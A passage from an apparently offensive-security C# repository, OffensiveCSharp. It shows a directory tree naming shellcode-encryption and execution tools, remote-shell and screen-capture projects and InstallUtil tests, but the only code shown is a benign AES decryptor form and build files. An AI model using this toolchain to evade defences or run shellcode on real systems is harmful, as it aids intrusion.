├── .gitattributes ├── Chapter7 - EncShell ├── Decryptor │ ├── .vs │ │ └── Decryptor │ │ │ └── v16 │ │ │ └── .suo │ ├── AESDecrypterForm.Designer.cs │ ├── AESDecrypterForm.cs │ ├── AESDecrypterForm.resx │ ├── App.config │ ├── Decryptor.csproj │ ├── Decryptor.sln │ ├── Program.cs │ ├── Properties │ │ ├── AssemblyInfo.cs │ │ ├── Resources.Designer.cs │ │ ├── Resources.resx │ │ ├── Settings.Designer.cs │ │ └── Settings.settings │ ├── bin │ │ └── Debug │ │ │ ├── Decryptor.exe │ │ │ ├── Decryptor.exe.config │ │ │ └── Decryptor.pdb │ └── obj │ │ └── Debug │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── Decryptor.AESDecryptForm.resources │ │ ├── Decryptor.Properties.Resources.resources │ │ ├── Decryptor.csproj.CoreCompileInputs.cache │ │ ├── Decryptor.csproj.FileListAbsolute.txt │ │ ├── Decryptor.csproj.GenerateResource.cache │ │ ├── Decryptor.exe │ │ ├── Decryptor.pdb │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ └── DesignTimeResolveAssemblyReferencesInput.cache ├── EncryptShellCode │ ├── App.config │ ├── EncryptShellCode.csproj │ ├── Program.cs │ ├── Properties │ │ ├── AssemblyInfo.cs │ │ ├── Resources.Designer.cs │ │ ├── Resources.resx │ │ ├── Settings.Designer.cs │ │ └── Settings.settings │ ├── ShellcodeEncForm.Designer.cs │ ├── ShellcodeEncForm.cs │ ├── ShellcodeEncForm.resx │ ├── bin │ │ └── Debug │ │ │ ├── EncryptShellCode.exe │ │ │ ├── EncryptShellCode.exe.config │ │ │ └── EncryptShellCode.pdb │ └── obj │ │ └── Debug │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── EncryptShellCode.Properties.Resources.resources │ │ ├── EncryptShellCode.ShellcodeEncForm.resources │ │ ├── EncryptShellCode.csproj.CoreCompileInputs.cache │ │ ├── EncryptShellCode.csproj.FileListAbsolute.txt │ │ ├── EncryptShellCode.csproj.GenerateResource.cache │ │ ├── EncryptShellCode.csprojAssemblyReference.cache │ │ ├── EncryptShellCode.exe │ │ └── EncryptShellCode.pdb ├── OutFiles │ ├── read.txt │ └── runit.exe ├── ShellCodeEncryptor │ ├── App.config │ ├── ExecShellCode.csproj │ ├── ExecShellForm.Designer.cs │ ├── ExecShellForm.cs │ ├── ExecShellForm.resx │ ├── Program.cs │ ├── Properties │ │ ├── AssemblyInfo.cs │ │ ├── Resources.Designer.cs │ │ ├── Resources.resx │ │ ├── Settings.Designer.cs │ │ └── Settings.settings │ ├── bin │ │ └── Debug │ │ │ ├── ShellCodeEncryptor.exe │ │ │ ├── ShellCodeEncryptor.exe.config │ │ │ └── ShellCodeEncryptor.pdb │ └── obj │ │ ├── Debug │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── ExecShellCode.csproj.CoreCompileInputs.cache │ │ ├── ExecShellCode.csproj.FileListAbsolute.txt │ │ ├── ExecShellCode.csproj.GenerateResource.cache │ │ ├── ExecShellCode.csprojAssemblyReference.cache │ │ ├── ShellCodeEncryptor.ExecShellForm.resources │ │ ├── ShellCodeEncryptor.Properties.Resources.resources │ │ ├── ShellCodeEncryptor.csprojAssemblyReference.cache │ │ ├── ShellCodeEncryptor.exe │ │ └── ShellCodeEncryptor.pdb │ │ └── x64 │ │ └── Debug │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ └── DesignTimeResolveAssemblyReferencesInput.cache ├── webserv.exe └── webserv.go ├── InstallUtilTest ├── .vs │ └── InstallUtilTest │ │ └── v16 │ │ ├── .suo │ │ └── Server │ │ └── sqlite3 │ │ ├── db.lock │ │ └── storage.ide ├── Consoleinst │ ├── App.config │ ├── Consoleinst.csproj │ ├── Program.cs │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── bin │ │ └── Debug │ │ │ ├── Consoleinst.exe │ │ │ ├── Consoleinst.exe.config │ │ │ ├── Consoleinst.pdb │ │ │ ├── InstallUtil.InstallLog │ │ │ └── System.Configuration.Install.dll │ └── obj │ │ └── Debug │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── Consoleinst.csproj.CoreCompileInputs.cache │ │ ├── Consoleinst.csproj.FileListAbsolute.txt │ │ ├── Consoleinst.exe │ │ ├── Consoleinst.pdb │ │ └── DesignTimeResolveAssemblyReferencesInput.cache ├── InstallUtilTest.sln ├── InstallUtilTest │ ├── App.config │ ├── InstallUtilTest.csproj │ ├── Program.cs │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── bin │ │ └── Debug │ │ │ ├── InstallUtil.InstallLog │ │ │ ├── InstallUtilTest.InstallLog │ │ │ ├── InstallUtilTest.exe.config │ │ │ ├── InstallUtilTest.pdb │ │ │ ├── goinstut.InstallLog │ │ │ ├── goinstut.exe │ │ │ └── runit.bat │ └── obj │ │ └── Debug │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── InstallUtilTest.csproj.CoreCompileInputs.cache │ │ ├── InstallUtilTest.csproj.FileListAbsolute.txt │ │ ├── InstallUtilTest.csprojAssemblyReference.cache │ │ ├── InstallUtilTest.exe │ │ └── InstallUtilTest.pdb └── buildit │ ├── App.config │ ├── Form1.Designer.cs │ ├── Form1.cs │ ├── Form1.resx │ ├── Program.cs │ ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings │ ├── bin │ └── Debug │ │ ├── InstallUtil.InstallLog │ │ ├── System.Configuration.Install.dll │ │ ├── buildit.exe │ │ ├── buildit.exe.config │ │ └── buildit.pdb │ ├── buildit.csproj │ └── obj │ └── Debug │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ ├── DesignTimeResolveAssemblyReferences.cache │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── buildit.Form1.resources │ ├── buildit.Properties.Resources.resources │ ├── buildit.csproj.CoreCompileInputs.cache │ ├── buildit.csproj.FileListAbsolute.txt │ ├── buildit.csproj.GenerateResource.cache │ ├── buildit.exe │ └── buildit.pdb ├── PScript ├── .vs │ └── PScript │ │ └── v16 │ │ ├── .suo │ │ └── Server │ │ └── sqlite3 │ │ ├── db.lock │ │ └── storage.ide ├── PScript.sln ├── PScript │ ├── App.config │ ├── PSForm.Designer.cs │ ├── PSForm.cs │ ├── PSForm.resx │ ├── PScript.csproj │ ├── Program.cs │ ├── Properties │ │ ├── AssemblyInfo.cs │ │ ├── Resources.Designer.cs │ │ ├── Resources.resx │ │ ├── Settings.Designer.cs │ │ └── Settings.settings │ ├── Sharp PS.Designer.cs │ ├── Sharp PS.cs │ ├── Sharp PS.resx │ ├── bin │ │ ├── Debug │ │ │ ├── PScript.exe │ │ │ ├── PScript.exe.config │ │ │ ├── PScript.pdb │ │ │ └── System.Management.Automation.dll │ │ └── Release │ │ │ ├── PScript.exe │ │ │ ├── PScript.exe.config │ │ │ ├── PScript.pdb │ │ │ └── System.Management.Automation.dll │ ├── obj │ │ ├── Debug │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── PScript.PSForm.resources │ │ │ ├── PScript.Properties.Resources.resources │ │ │ ├── PScript.Sharp_PS.resources │ │ │ ├── PScript.csproj.CopyComplete │ │ │ ├── PScript.csproj.FileListAbsolute.txt │ │ │ ├── PScript.csproj.GenerateResource.cache │ │ │ ├── PScript.csprojAssemblyReference.cache │ │ │ ├── PScript.exe │ │ │ └── PScript.pdb │ │ └── Release │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── PScript.PSForm.resources │ │ │ ├── PScript.Properties.Resources.resources │ │ │ ├── PScript.Sharp_PS.resources │ │ │ ├── PScript.csproj.CopyComplete │ │ │ ├── PScript.csproj.FileListAbsolute.txt │ │ │ ├── PScript.csproj.GenerateResource.cache │ │ │ ├── PScript.exe │ │ │ └── PScript.pdb │ └── packages.config ├── client │ ├── App.config │ ├── Program.cs │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── bin │ │ └── Debug │ │ │ ├── client.exe │ │ │ ├── client.exe.config │ │ │ ├── client.pdb │ │ │ └── myscreen.png │ ├── client.csproj │ └── obj │ │ └── Debug │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── client.csproj.CoreCompileInputs.cache │ │ ├── client.csproj.FileListAbsolute.txt │ │ ├── client.csprojAssemblyReference.cache │ │ ├── client.exe │ │ └── client.pdb ├── packages │ ├── System.Management.Automation.7.0.0 │ │ ├── .signature.p7s │ │ ├── System.Management.Automation.7.0.0.nupkg │ │ ├── ref │ │ │ └── netcoreapp3.1 │ │ │ │ └── System.Management.Automation.dll │ │ └── runtimes │ │ │ ├── unix │ │ │ └── lib │ │ │ │ └── netcoreapp3.1 │ │ │ │ └── System.Management.Automation.dll │ │ │ └── win │ │ │ └── lib │ │ │ └── netcoreapp3.1 │ │ │ └── System.Management.Automation.dll │ └── System.Management.Automation.dll.10.0.10586.0 │ │ ├── .signature.p7s │ │ ├── System.Management.Automation.dll.10.0.10586.0.nupkg │ │ └── lib │ │ └── net40 │ │ └── System.Management.Automation.dll ├── psconsole │ ├── App.config │ ├── Program.cs │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── bin │ │ ├── Debug │ │ │ ├── System.Management.Automation.dll │ │ │ ├── psconsole.exe │ │ │ ├── psconsole.exe.config │ │ │ └── psconsole.pdb │ │ └── Release │ │ │ ├── System.Management.Automation.dll │ │ │ ├── psconsole.exe │ │ │ ├── psconsole.exe.config │ │ │ └── psconsole.pdb │ ├── obj │ │ ├── Debug │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── psconsole.csproj.CopyComplete │ │ │ ├── psconsole.csproj.FileListAbsolute.txt │ │ │ ├── psconsole.csprojAssemblyReference.cache │ │ │ ├── psconsole.exe │ │ │ └── psconsole.pdb │ │ └── Release │ │ │ ├── psconsole.csproj.CopyComplete │ │ │ ├── psconsole.csproj.FileListAbsolute.txt │ │ │ ├── psconsole.exe │ │ │ └── psconsole.pdb │ ├── packages.config │ └── psconsole.csproj └── sharpshells │ ├── App.config │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ ├── bin │ └── Debug │ │ ├── sharpshells.exe │ │ ├── sharpshells.exe.config │ │ └── sharpshells.pdb │ ├── obj │ └── Debug │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── server.csproj.FileListAbsolute.txt │ │ ├── server.csprojAssemblyReference.cache │ │ ├── sharpshells.csproj.FileListAbsolute.txt │ │ ├── sharpshells.exe │ │ └── sharpshells.pdb │ └── server.csproj ├── README.md ├── SharpServer └── SharpServer │ ├── .vs │ └── SharpServer │ │ └── v16 │ │ ├── .suo │ │ └── Server │ │ └── sqlite3 │ │ ├── db.lock │ │ └── storage.ide │ ├── SharpServer.sln │ └── SharpServer │ ├── App.config │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ ├── SharpServer.csproj │ ├── bin │ └── Debug │ │ ├── Readme.txt │ │ ├── SharpServer.exe │ │ ├── SharpServer.exe.config │ │ ├── SharpServer.pdb │ │ └── victimscreen.png │ └── obj │ └── Debug │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── SharpServer.csproj.CoreCompileInputs.cache │ ├── SharpServer.csproj.FileListAbsolute.txt │ ├── SharpServer.csprojAssemblyReference.cache │ ├── SharpServer.exe │ └── SharpServer.pdb ├── XsltTest ├── .vs │ └── XsltTest │ │ └── v16 │ │ └── .suo ├── XsltTest.sln └── XsltTest │ ├── App.config │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ ├── XsltTest.csproj │ ├── bin │ └── Debug │ │ ├── XsltTest.exe │ │ ├── XsltTest.exe.config │ │ └── XsltTest.pdb │ └── obj │ └── Debug │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── XsltTest.csproj.CoreCompileInputs.cache │ ├── XsltTest.csproj.FileListAbsolute.txt │ ├── XsltTest.exe │ └── XsltTest.pdb ├── build.xml ├── res.txt ├── test.txt └── test.xml /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/.vs/Decryptor/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/Decryptor/.vs/Decryptor/v16/.suo -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/AESDecrypterForm.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.IO; 7 | using System.Linq; 8 | using System.Security.Cryptography; 9 | using System.Text; 10 | using System.Threading.Tasks; 11 | using System.Windows.Forms; 12 | 13 | namespace Decryptor 14 | { 15 | public partial class AESDecryptForm : Form 16 | { 17 | 18 | 19 | public AESDecryptForm() 20 | { 21 | InitializeComponent(); 22 | } 23 | 24 | private void btnDecrypt_Click(object sender, EventArgs e) 25 | { 26 | //HashAlgorithm hash = SHA256.Create(); 27 | 28 | byte[] key = Convert.FromBase64String(txtKey.Text); 29 | 30 | byte[] IV = Convert.FromBase64String(txtIV.Text); 31 | byte[] baCipher = Convert.FromBase64String(txtCipherText.Text); 32 | txtResult.Text = Encoding.UTF8.GetString(Decrypt(baCipher, key, IV)); 33 | } 34 | 35 | private byte[] Decrypt(byte[] data, byte[] key, byte[] iv) 36 | { 37 | using (var aes = Aes.Create()) 38 | { 39 | aes.KeySize = 128; 40 | aes.BlockSize = 128; 41 | aes.Padding = PaddingMode.PKCS7; 42 | 43 | aes.Key = key; 44 | aes.IV = iv; 45 | 46 | using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV)) 47 | { 48 | return PerformCryptography(data, decryptor); 49 | } 50 | } 51 | } 52 | 53 | private byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform) 54 | { 55 | using (var ms = new MemoryStream()) 56 | using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write)) 57 | { 58 | cryptoStream.Write(data, 0, data.Length); 59 | cryptoStream.FlushFinalBlock(); 60 | 61 | return ms.ToArray(); 62 | } 63 | } 64 | } 65 | } 66 | 67 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/Decryptor.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {6C3FBC65-B673-40F0-B1AC-20636DF01A85} 8 | WinExe 9 | Decryptor 10 | Decryptor 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | Form 50 | 51 | 52 | AESDecrypterForm.cs 53 | 54 | 55 | 56 | 57 | AESDecrypterForm.cs 58 | 59 | 60 | ResXFileCodeGenerator 61 | Resources.Designer.cs 62 | Designer 63 | 64 | 65 | True 66 | Resources.resx 67 | 68 | 69 | SettingsSingleFileGenerator 70 | Settings.Designer.cs 71 | 72 | 73 | True 74 | Settings.settings 75 | True 76 | 77 | 78 | 79 | 80 | 81 | 82 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/Decryptor.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30114.105 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Decryptor", "Decryptor.csproj", "{6C3FBC65-B673-40F0-B1AC-20636DF01A85}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExecShellCode", "..\ShellCodeEncryptor\ExecShellCode.csproj", "{512015DE-A70F-4887-8EAE-E500FD2898AB}" 9 | EndProject 10 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EncryptShellCode", "..\EncryptShellCode\EncryptShellCode.csproj", "{2BAD9D69-ADA9-4F1E-B838-9567E1503E93}" 11 | EndProject 12 | Global 13 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 14 | Debug|Any CPU = Debug|Any CPU 15 | Release|Any CPU = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {6C3FBC65-B673-40F0-B1AC-20636DF01A85}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {6C3FBC65-B673-40F0-B1AC-20636DF01A85}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {6C3FBC65-B673-40F0-B1AC-20636DF01A85}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {6C3FBC65-B673-40F0-B1AC-20636DF01A85}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {512015DE-A70F-4887-8EAE-E500FD2898AB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 23 | {512015DE-A70F-4887-8EAE-E500FD2898AB}.Debug|Any CPU.Build.0 = Debug|Any CPU 24 | {512015DE-A70F-4887-8EAE-E500FD2898AB}.Release|Any CPU.ActiveCfg = Release|Any CPU 25 | {512015DE-A70F-4887-8EAE-E500FD2898AB}.Release|Any CPU.Build.0 = Release|Any CPU 26 | {2BAD9D69-ADA9-4F1E-B838-9567E1503E93}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 27 | {2BAD9D69-ADA9-4F1E-B838-9567E1503E93}.Debug|Any CPU.Build.0 = Debug|Any CPU 28 | {2BAD9D69-ADA9-4F1E-B838-9567E1503E93}.Release|Any CPU.ActiveCfg = Release|Any CPU 29 | {2BAD9D69-ADA9-4F1E-B838-9567E1503E93}.Release|Any CPU.Build.0 = Release|Any CPU 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | GlobalSection(ExtensibilityGlobals) = postSolution 35 | SolutionGuid = {4C62E53C-6E65-4449-98B6-2F9652897061} 36 | EndGlobalSection 37 | EndGlobal 38 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using System.Windows.Forms; 6 | 7 | namespace Decryptor 8 | { 9 | static class Program 10 | { 11 | /// 12 | /// The main entry point for the application. 13 | /// 14 | [STAThread] 15 | static void Main() 16 | { 17 | Application.EnableVisualStyles(); 18 | Application.SetCompatibleTextRenderingDefault(false); 19 | Application.Run(new AESDecryptForm()); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Decryptor")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("HP Inc.")] 12 | [assembly: AssemblyProduct("Decryptor")] 13 | [assembly: AssemblyCopyright("Copyright © HP Inc. 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("6c3fbc65-b673-40f0-b1ac-20636df01a85")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace Decryptor.Properties 12 | { 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources 26 | { 27 | 28 | private static global::System.Resources.ResourceManager resourceMan; 29 | 30 | private static global::System.Globalization.CultureInfo resourceCulture; 31 | 32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 33 | internal Resources() 34 | { 35 | } 36 | 37 | /// 38 | /// Returns the cached ResourceManager instance used by this class. 39 | /// 40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 41 | internal static global::System.Resources.ResourceManager ResourceManager 42 | { 43 | get 44 | { 45 | if ((resourceMan == null)) 46 | { 47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Decryptor.Properties.Resources", typeof(Resources).Assembly); 48 | resourceMan = temp; 49 | } 50 | return resourceMan; 51 | } 52 | } 53 | 54 | /// 55 | /// Overrides the current thread's CurrentUICulture property for all 56 | /// resource lookups using this strongly typed resource class. 57 | /// 58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 59 | internal static global::System.Globalization.CultureInfo Culture 60 | { 61 | get 62 | { 63 | return resourceCulture; 64 | } 65 | set 66 | { 67 | resourceCulture = value; 68 | } 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace Decryptor.Properties 12 | { 13 | 14 | 15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 18 | { 19 | 20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 21 | 22 | public static Settings Default 23 | { 24 | get 25 | { 26 | return defaultInstance; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/bin/Debug/Decryptor.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/Decryptor/bin/Debug/Decryptor.exe -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/bin/Debug/Decryptor.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/bin/Debug/Decryptor.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/Decryptor/bin/Debug/Decryptor.pdb -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] 5 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/obj/Debug/Decryptor.AESDecryptForm.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/Decryptor/obj/Debug/Decryptor.AESDecryptForm.resources -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/obj/Debug/Decryptor.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/Decryptor/obj/Debug/Decryptor.Properties.Resources.resources -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/obj/Debug/Decryptor.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 63e2eae9be8296108b9cbe7532b6735f44b6518f 2 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/obj/Debug/Decryptor.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | D:\ThickClients\Decryptor\bin\Debug\Decryptor.exe.config 2 | D:\ThickClients\Decryptor\bin\Debug\Decryptor.exe 3 | D:\ThickClients\Decryptor\bin\Debug\Decryptor.pdb 4 | D:\ThickClients\Decryptor\obj\Debug\Decryptor.csprojAssemblyReference.cache 5 | D:\ThickClients\Decryptor\obj\Debug\Decryptor.AESDecryptForm.resources 6 | D:\ThickClients\Decryptor\obj\Debug\Decryptor.Properties.Resources.resources 7 | D:\ThickClients\Decryptor\obj\Debug\Decryptor.csproj.GenerateResource.cache 8 | D:\ThickClients\Decryptor\obj\Debug\Decryptor.csproj.CoreCompileInputs.cache 9 | D:\ThickClients\Decryptor\obj\Debug\Decryptor.exe 10 | D:\ThickClients\Decryptor\obj\Debug\Decryptor.pdb 11 | D:\aalphaas\offensivec#\Chapter7 - EncShell\Decryptor\bin\Debug\Decryptor.exe.config 12 | D:\aalphaas\offensivec#\Chapter7 - EncShell\Decryptor\bin\Debug\Decryptor.exe 13 | D:\aalphaas\offensivec#\Chapter7 - EncShell\Decryptor\bin\Debug\Decryptor.pdb 14 | D:\aalphaas\offensivec#\Chapter7 - EncShell\Decryptor\obj\Debug\Decryptor.AESDecryptForm.resources 15 | D:\aalphaas\offensivec#\Chapter7 - EncShell\Decryptor\obj\Debug\Decryptor.Properties.Resources.resources 16 | D:\aalphaas\offensivec#\Chapter7 - EncShell\Decryptor\obj\Debug\Decryptor.csproj.GenerateResource.cache 17 | D:\aalphaas\offensivec#\Chapter7 - EncShell\Decryptor\obj\Debug\Decryptor.csproj.CoreCompileInputs.cache 18 | D:\aalphaas\offensivec#\Chapter7 - EncShell\Decryptor\obj\Debug\Decryptor.exe 19 | D:\aalphaas\offensivec#\Chapter7 - EncShell\Decryptor\obj\Debug\Decryptor.pdb 20 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/obj/Debug/Decryptor.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/Decryptor/obj/Debug/Decryptor.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/obj/Debug/Decryptor.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/Decryptor/obj/Debug/Decryptor.exe -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/obj/Debug/Decryptor.pdb: -------------------------------------------------------------------------------- 